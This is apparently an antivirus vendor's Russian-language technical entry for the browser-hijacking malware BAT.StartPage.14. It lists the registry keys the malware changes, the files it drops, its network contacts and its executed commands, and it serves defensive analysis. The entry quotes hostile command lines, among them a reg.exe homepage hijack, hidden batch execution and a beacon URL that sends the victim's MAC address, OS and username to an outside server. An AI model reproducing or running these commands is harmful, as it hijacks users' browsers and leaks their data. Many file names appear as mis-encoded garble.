BAT.StartPage.14

Техническая информация

Для обеспечения автозапуска и распространения

Модифицирует следующие ключи реестра

[HKLM\Software\Classes\anifile\shell\open\command] '' = '%ProgramFiles%\Thunder\Update.exe "%1" %*'

Вредоносные функции

Запускает на исполнение

'%ProgramFiles%\internet explorer\iexplore.exe' http://58.##8.198.119:8080/count.asp?mac=ac-60-94-e1-f1-23&os=Microsoft Windows XP&flag=fe9fb4e621ae103ab001955569c952d9&user=test

Изменения в файловой системе

Создает следующие файлы

%ProgramFiles(x86)%\winsoft9\3.bat
C:\theworld\theworld.exe
%APPDATA%\microsoft\windows\start menu\programs\internet explorer.fon
%HOMEPATH%\favorites\В°В¬ВіГЁГҐВ®Г—В°--Г—Г®ГЈГ Г Г¶ГЄВ±Г©Г°ВµГ¤ГҐВ®Г—В°Г¦В·ГҐГ¦.ГЈГ ГҐВ®ГўГІГІГўВЈВ¬ГЈГ«Г©В±В°В¬ВіГЁГҐВ®Г—В°!!.html
%HOMEPATH%\favorites\ГЈГ ГҐВ®В·ГЎГ°ГёВґГіГЈГёВѕГ·-20Г¬Г¬Г¤ГєГ±ВёГ«Г№ГґГ¶ВґГіВґГіВґГі!.html
%HOMEPATH%\favorites\ВїВґВїВґВµГ§ГЄГіВѕГ§ГґГєГЇГџВґГіГЁВ«,,,Г—Г®ВєГЈГўГ¬Г©В«Г—Г®Г°ГўВёГџГ«Г№ГЈГўВ·Г±ВµГ§ГЄГіВѕГ§ГГёГµВѕ!.html
%HOMEPATH%\favorites\Г—ВїГґВЅГ±Г§ГўГГ±В·ГГёГ©ГЇВ№ВєГ®ГЇГВјГЄГ©ВЈВ¬ГЄГ¶В»ГєВЈВ¬ГЄГЅГўГ«ВЈВ¬ВјГІВµГ§ВЈВ¬В»ВЇГ—В±Г¦В·ВЈВ¬Г¶ГіВ±ГВЈВ¬ГЄГ—ГЄГ®ВµГЁГґГєГЇГџГЇГєГЄГ».html
%HOMEPATH%\favorites\ВµВ±ВµВ±ГГёВЎВЄГГёГ©ГЇВ№ВєГ®ГЇГ¶Г°Г°Г¤.html
%HOMEPATH%\favorites\45575.comГґГєГЇГџВµГ¤Г°ВЎГіГ®ГЇВ·.Г—Г®ВєГЈГГ¦Г—Г®Г°ГўГ—Г®ВїГ¬ВїГЎВіВ¬ВјВ¶Г°ВЎГіГ®ГЇВ·!.html
%HOMEPATH%\favorites\Г¬ГґВ±В¦ГГё - Г¬ГґВЈВЎГ®ГІГЇВІВ»В¶.html
%HOMEPATH%\favorites\Г—Г®Г°ГўГґГєГЇГџГ°ВЎГ«ВµГЈГўВ·Г±ВµГ¤ГґГ¤В¶ГЎ.В·ГЎВёВ»Г¤ГєГЁГЅГ«Г№В¶ГЁВїГ¬ВµГ¤Г°ВЎГ«ВµГµВѕ!.html
%HOMEPATH%\favorites\Г¶Г°В№ГєВёВЈГ Г»ВІГЄГ¦В±ВЈВ¬Г¬ГҐГіГЅВІГЄГ¦В±ВµГ¤ГВ¶Г—ВўГ¶Г°Г°Г¤.ВІГЄГ¦В±ВґГіГіВ®ВјГІВЈВЎ.html
%HOMEPATH%\favorites\Г—Г®Г°ГўВјВ«Г¦В·ГўГ¬Г©В«ВєГЈВµГ¤ВµГ§ГіВ°ВїГўГЈГўВ·Г±.ВёГџГ§ГҐВёГџГ«Г№ВЈВЎГ¬Г¬Г¬Г¬ВёГјГ°Гў!!.html
%HOMEPATH%\favorites\vancl В·ВІВїГВіГЇГ¦В·: В»ВҐГЎВЄГГёВїГ¬ГЄВ±Г©Г°Г¦В·ГҐГ¦.html
C:\theworld\theworld.ini
%HOMEPATH%\desktop\ГґГєГЇГџГ°ВЎГіГ®ГЇВ·.ani
C:\b.txt
%WINDIR%\downloaded program files\update.exe
%ProgramFiles%\thunder\update.exe
%ProgramFiles(x86)%\winsoft9\bho.exe
%ProgramFiles(x86)%\winsoft9\windows\time\mian.dil
%ProgramFiles(x86)%\winsoft9\t2.exe
%ProgramFiles(x86)%\winsoft9\1.vbs
%ProgramFiles(x86)%\winsoft9\test.exe
%ProgramFiles(x86)%\winsoft9\2222.vbs
%ProgramFiles(x86)%\winsoft9\mm.ico
%ProgramFiles(x86)%\winsoft9\kusila.ico
%ProgramFiles(x86)%\winsoft9\game.ico
%ProgramFiles(x86)%\winsoft9\3.vbs
%HOMEPATH%\desktop\Г¬ГґВ±В¦ГГё.iii
C:\theworld\theworld.ico

Присваивает атрибут 'скрытый' для следующих файлов

C:\theworld\theworld.ini

Удаляет следующие файлы

C:\b.txt

Перемещает следующие файлы

%ProgramFiles(x86)%\winsoft9\game.ico в %WINDIR%\downloaded program files\game.ico
%ProgramFiles(x86)%\winsoft9\mm.ico в %WINDIR%\downloaded program files\mm.ico

Сетевая активность

Подключается к

'ku##la.com':80
'ku##la.com':443
'58.##8.198.119':8080

TCP

Запросы HTTP GET

http://www.ku##la.com/?xg####

Другие

'ku##la.com':443

UDP

DNS ASK ku##la.com

Другое

Ищет следующие окна

ClassName: 'EDIT' WindowName: ''
ClassName: 'Static' WindowName: ''
ClassName: 'MS_AutodialMonitor' WindowName: ''
ClassName: 'MS_WebCheckMonitor' WindowName: ''

Создает и запускает на исполнение

'%WINDIR%\syswow64\wscript.exe' "%ProgramFiles(x86)%\winsoft9\2222.vbs"
'%WINDIR%\syswow64\wscript.exe' "%ProgramFiles(x86)%\winsoft9\3.vbs"
'%ProgramFiles(x86)%\winsoft9\test.exe'
'%ProgramFiles(x86)%\winsoft9\bho.exe'
'%WINDIR%\syswow64\wscript.exe' "%ProgramFiles(x86)%\winsoft9\1.vbs"
'%ProgramFiles(x86)%\winsoft9\t2.exe'

Запускает на исполнение

'%WINDIR%\syswow64\cmd.exe' /c ""%ProgramFiles(x86)%\winsoft9\3.bat" " (со скрытым окном)
'%WINDIR%\syswow64\reg.exe' del "HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command" /v
'%WINDIR%\syswow64\reg.exe' add "HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command" /v "" /d "%ProgramFiles(x86)%\Internet Explorer\iexplore.exe http://www.82vv.com/?xgg3" /f
'%ProgramFiles(x86)%\winsoft9\t2.exe' (со скрытым окном)
'%ProgramFiles%\internet explorer\iexplore.exe' http://58.##8.198.119:8080/count.asp?mac=ac-60-94-e1-f1-23&os=Microsoft Windows XP&flag=fe9fb4e621ae103ab001955569c952d9&user=test (со скрытым окном)